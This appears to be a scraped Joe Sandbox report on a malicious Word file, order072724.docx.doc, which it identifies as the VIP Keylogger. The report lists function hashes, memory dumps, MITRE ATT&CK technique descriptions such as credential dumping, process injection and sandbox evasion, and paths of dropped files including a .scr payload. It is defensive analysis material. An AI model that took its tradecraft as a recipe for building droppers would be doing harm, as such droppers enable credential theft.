Opcode Fuzzy Hash: e383329d1b802edbb7da408ea70df5b08c0cb8c2effb0ad2cedf7d96652969a7
Instruction Fuzzy Hash: 8F510074D28208CFCB14CFE9D8887DDBBB1BB49314F20962AE815BB298D7759985CF14

Function 00201548 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663079109.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_200000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bd521a07d0f8138a630470c0b2122c114eac2cee476a7ed94c789d7101adbc1
Instruction ID: fd0eb3fca2f42af419efc733ea8ad554e6b7d24f4cedbc762a507c2a696537c8
Opcode Fuzzy Hash: 2bd521a07d0f8138a630470c0b2122c114eac2cee476a7ed94c789d7101adbc1
Instruction Fuzzy Hash: 6F418170A003199FCB05EFB8D8417AEBBB2EF85300F5044B9D415AB396DB34A955CF91

Function 022A1BC7 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663648968.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_22a0000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 585197626ac2a6f65b6c7b55a072319289259de62fdb359142ed73bab9ff23ef
Instruction ID: 87ef11671f3217ff863d21b296a194b23f8aeb3c9cc0234368bc3a51220febda
Opcode Fuzzy Hash: 585197626ac2a6f65b6c7b55a072319289259de62fdb359142ed73bab9ff23ef
Instruction Fuzzy Hash: 1941E0B4E10249CFDB04DFA8D598BEDBBF2EF49310F14812AD805A7294DB745A46CF40

Function 022A1BD0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663648968.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_22a0000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e3f310a4f5ae10daeaafe2c71206b8c56bc55064dd6ff032af655d86601186e
Instruction ID: eb5d7cd0c0b9957069b34a06cec5b529b83bd67f4066fb1ec0622dec11250a95
Opcode Fuzzy Hash: 0e3f310a4f5ae10daeaafe2c71206b8c56bc55064dd6ff032af655d86601186e
Instruction Fuzzy Hash: 9F41CFB4E10209CFDB04DFA9D598BEDBBF2BF89310F10912AD405A7298DB745A46CF50

Function 022A2E68 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663648968.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_22a0000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12016deac34af4d27e107235f87a5721a4b3d02db54510d2cca9a88f097d68df
Instruction ID: 9f6bc12f8c756d82d573cc8725ff0fe21f90fcdaabb732ad38770860044cba17
Opcode Fuzzy Hash: 12016deac34af4d27e107235f87a5721a4b3d02db54510d2cca9a88f097d68df
Instruction Fuzzy Hash: D5419871E016198BEB58CF6BD95479EFAF3AFC9300F14C1AAC40CA6254EB7409858F51

Function 022A3C29 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663648968.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_22a0000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c315699943d3eaed4c1eba9535d8cbdbca7ddbbdf2fb7900a892917836fa32a9
Instruction ID: 3dbc830e78fca30ee60dd8a375efb8e0bc877ef588bc5542db59e1b31d143bfa
Opcode Fuzzy Hash: c315699943d3eaed4c1eba9535d8cbdbca7ddbbdf2fb7900a892917836fa32a9
Instruction Fuzzy Hash: 374188B1E016198BEB58CF5BD95479EFAF3AFC9304F04C1AAC40CA6254EB740A858F51

Function 022A49E8 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663648968.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_22a0000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e7f4d10f790ad356de3ccc5b521454baab276c65b078f33aff1855f9c0b3e4d
Instruction ID: ac4ba246e0400a326a624da77b4c198346b9bb210f2ee5348942d2b3fd765c3b
Opcode Fuzzy Hash: 5e7f4d10f790ad356de3ccc5b521454baab276c65b078f33aff1855f9c0b3e4d
Instruction Fuzzy Hash: 9B4187B1E016188FEB58CF5BD95479AFAF3AFC9304F14C1A9C40CA6264EB740A85CF51

Function 022A50C9 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663648968.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_22a0000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef223df5848441982ce88da1bad690b022947eae17fd83bc24caafe93a9ff3a1
Instruction ID: ff5f68a368e7b97076743f85912d2030d06435e17319dd138a51aab587fd47f7
Opcode Fuzzy Hash: ef223df5848441982ce88da1bad690b022947eae17fd83bc24caafe93a9ff3a1
Instruction Fuzzy Hash: B44158B1E016198BEB58CF6BD95479EFAF3AFC9304F14C1AAC40CA6254EB7409858F51

Function 022A4308 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663648968.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_22a0000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 341a758eb34f88db2681518617d300b943cd74e41114ffe7238b5373a3c04e10
Instruction ID: 3891eb4fd2d15603f32104e7b3a4e0d21906aa91fa019e4e29c6671ea0ffa459
Opcode Fuzzy Hash: 341a758eb34f88db2681518617d300b943cd74e41114ffe7238b5373a3c04e10
Instruction Fuzzy Hash: 10418871E016598BEB58CF6BD85479EFAF3AFC9304F14C1AAC40CA6254EB740A85CF51

Function 020E9950 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663571310.00000000020E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_20e0000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8c43a149d6395c2554c7c27c1f3179fdf81708b2bc57cab46dea1f519b2923e
Instruction ID: 0400dc52b727d96a39c15d1c41a3eaafc5d5581318c52b0a417a6aa92be3a82f
Opcode Fuzzy Hash: b8c43a149d6395c2554c7c27c1f3179fdf81708b2bc57cab46dea1f519b2923e
Instruction Fuzzy Hash: E931E174E042488FDB18DFAAC9506EDFBF2AF8A300F24D46AC419BB255DB345946CF54

Function 020F4320 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663586936.00000000020F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_20f0000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45333856a4a0a49f8e2b8ebf7aafc2532ad895bd6f04d8135f533a88a0d16d92
Instruction ID: b13f93f735ee89c50cf2aeb06afc4b9687a42c4aa48bb8024b7978408508699c
Opcode Fuzzy Hash: 45333856a4a0a49f8e2b8ebf7aafc2532ad895bd6f04d8135f533a88a0d16d92
Instruction Fuzzy Hash: 3431F270E002488FDF48DFAAD5506EEBBF2AF89300F24902AC919BB655DB345942CF54

Function 020FA5D9 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663586936.00000000020F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_20f0000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 150821777ee45fddb088040a77c37c4e9551c91a2af14a44b8d5a0ea81e84381
Instruction ID: 365b8bd587926810b2b0251dcab36aedb041a82a84f17278b16d71a39e19a856
Opcode Fuzzy Hash: 150821777ee45fddb088040a77c37c4e9551c91a2af14a44b8d5a0ea81e84381
Instruction Fuzzy Hash: 9B31F070E042488FDB48DFAAD8546EEBBF2BF89300F14C02AC819BB658DB345946CF54

Function 002015A0 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663079109.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_200000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39e2c7766f49e37806700680f419bdf9d73e167587ba785a4d6ef69041330e41
Instruction ID: 8d3221b94f240c75110bdc0c1f03f2d3947ad6fd959e9891edb7ab2044a19786
Opcode Fuzzy Hash: 39e2c7766f49e37806700680f419bdf9d73e167587ba785a4d6ef69041330e41
Instruction Fuzzy Hash: AD316E74E003199FDB05EFB8D4817AEBBB2EF85300F1085A8D415AB396DB34AA55CF90

Function 0013D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663010296.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_13d000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 908f64f124f82f5210ddce4b22df40fab8604f382e2ba4ae559a3d6fcea89514
Instruction ID: 0a937c136e5f4786b739860845aadafe8b750f7a55049c6f75375938b49c4877
Opcode Fuzzy Hash: 908f64f124f82f5210ddce4b22df40fab8604f382e2ba4ae559a3d6fcea89514
Instruction Fuzzy Hash: 2E2104B1604344EFDB19CF24F8C4B26BB65EB84714F34C5A9F8494B246C736D84ACB61

Function 002024C5 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663079109.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_200000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a74cf79674c7b7bacde0cd260cb20aad8d72f410414f2bdd5cd97fd281eb6561
Instruction ID: 4b6f7f9753b5f784fac128f641db1d2fdfd4b93a490c93ed074678a199ed8b43
Opcode Fuzzy Hash: a74cf79674c7b7bacde0cd260cb20aad8d72f410414f2bdd5cd97fd281eb6561
Instruction Fuzzy Hash: 2431B778E11308CFCB44DFA4E58899DBBB2FF4A310B209469E809AB364D731AC15CF10

Function 0020E3FB Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663079109.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_200000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd1538478431cd546eae0d468e4b247941538a315233a923493a95319afc5941
Instruction ID: 68fa44f410956fffbb30d6f34ad5510146cab36d2cc0590b10f6854af7c30b59
Opcode Fuzzy Hash: cd1538478431cd546eae0d468e4b247941538a315233a923493a95319afc5941
Instruction Fuzzy Hash: 4F117274E102198FDF08CFA8D8C4AADBBB5FB88304F558965E804E7282D7719891CB50

Function 002022DD Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663079109.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_200000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a70769ef3e359dad9ccabc1e415e05cb4fae1f8d059e1dbabc63ea4bee8ff7f
Instruction ID: 83b6669bbfd510000e9f35efabef95cb0165a8d41b0287d8245b07e972d8e4db
Opcode Fuzzy Hash: 5a70769ef3e359dad9ccabc1e415e05cb4fae1f8d059e1dbabc63ea4bee8ff7f
Instruction Fuzzy Hash: 631112B0D14209CFCB01DFA8D8841EEBFB5BF4A300B1581AAD804B7255EB309A59CFA1

Function 00206960 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663079109.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_200000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a392403a6c81ae6329ebb3c981c88f3f88e8bf5fb222e0fe2f15c9b6c1f1cf
Instruction ID: 929e7253180fbbbbfd516d92951686de13ef869504bf57168eca1dea5a08187e
Opcode Fuzzy Hash: 52a392403a6c81ae6329ebb3c981c88f3f88e8bf5fb222e0fe2f15c9b6c1f1cf
Instruction Fuzzy Hash: C0111CB4900209DFDB45EFA8E54579EBBF2FF84300F50C9A9C158AB259EB349A458B81

Function 00202320 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663079109.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_200000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0743d622e52b796c86a78edd52c7b5fce78feddeb122613b4897e2a38e26ed7a
Instruction ID: 8ebf996419a343db1b96deced2622f6bfbb298ae0555974483c27b57390bbed4
Opcode Fuzzy Hash: 0743d622e52b796c86a78edd52c7b5fce78feddeb122613b4897e2a38e26ed7a
Instruction Fuzzy Hash: 1121CBB4C142198FCB00EFA9D8846EEBBF5BF4A300F14916AD805F3251EB305A95CFA5

Function 0013D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663010296.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_13d000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: 1f67318e7a01657232b7fbebfccc2a7dc644c03f7b2b91288844be4553fd2086
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 9D11BE75504240CFDB16CF10E9C4B15BB61FB44314F24C6A9E8494B256C33AD84ACF61

Function 00205C5F Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.663079109.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_200000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c76919ecf41f384b6140216a8b930b3e182b44eeace09230b5341c27008af33
Instruction ID: 19ae7dcd87fefd2333a8edeaa8f5d345fec7d076cd37cb7736bb2c7461510b76
Opcode Fuzzy Hash: 9c76919ecf41f384b6140216a8b930b3e182b44eeace09230b5341c27008af33
Instruction Fuzzy Hash: 91115B38D043499FCB01DFB4E8589AEBFB1EF4A300F0085A6D900A73A5D7345A59CF91

Non-executed Functions

Function 022A2130 Relevance: 11.7, Strings: 9, Instructions: 461COMMON

Download Yara Rule

Strings

PHp, xrefs: 022A2561
PHp, xrefs: 022A2575
PHp, xrefs: 022A247D
", xrefs: 022A2906
PHp, xrefs: 022A2469
PHp, xrefs: 022A2751
PHp, xrefs: 022A266A
PHp, xrefs: 022A2656
PHp, xrefs: 022A2765

Memory Dump Source

Source File: 0000001D.00000002.663648968.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_22a0000_gRpkBp.jbxd

Similarity

API ID:
String ID: "$PHp$PHp$PHp$PHp$PHp$PHp$PHp$PHp
API String ID: 0-3547488823
Opcode ID: 2350ec4c0991e5f74afb3d9c7d27e1f1da33ac50141acf3ed6ff58c166067000
Instruction ID: 96848ec601ae83781e5d7af10a8eb6103b2ec74a3230cc7acd32f43cdf7d379d
Opcode Fuzzy Hash: 2350ec4c0991e5f74afb3d9c7d27e1f1da33ac50141acf3ed6ff58c166067000
Instruction Fuzzy Hash: BA32A274E01218CFDB68CFA9C954B9DBBB2BF89304F1085A9D809AB355DB719E85CF10

Function 022A2121 Relevance: 11.6, Strings: 9, Instructions: 368COMMON

Download Yara Rule

Strings

PHp, xrefs: 022A2561
PHp, xrefs: 022A2575
PHp, xrefs: 022A247D
", xrefs: 022A2906
PHp, xrefs: 022A2469
PHp, xrefs: 022A2751
PHp, xrefs: 022A266A
PHp, xrefs: 022A2656
PHp, xrefs: 022A2765

Memory Dump Source

Source File: 0000001D.00000002.663648968.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_22a0000_gRpkBp.jbxd

Similarity

API ID:
String ID: "$PHp$PHp$PHp$PHp$PHp$PHp$PHp$PHp
API String ID: 0-3547488823
Opcode ID: ec83ce3005a84830340778777ae7163fe27037b82af60743c9f657d0d9494651
Instruction ID: 5873660bf76d3425298efd222e61ba3cf7e967446499b0959fd5de2f3c950273
Opcode Fuzzy Hash: ec83ce3005a84830340778777ae7163fe27037b82af60743c9f657d0d9494651
Instruction Fuzzy Hash: A602D3B4E00218CFDB58DF65D954B9DBBB2BF89300F1081A9D809AB355DB719E85CF10

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report order072724.docx.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\swagodi[1].doc

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\swagodi[1].scr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9F4A4ED3.doc

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{1C83C99B-998E-4DEF-B324-E69763DD529E}.tmp

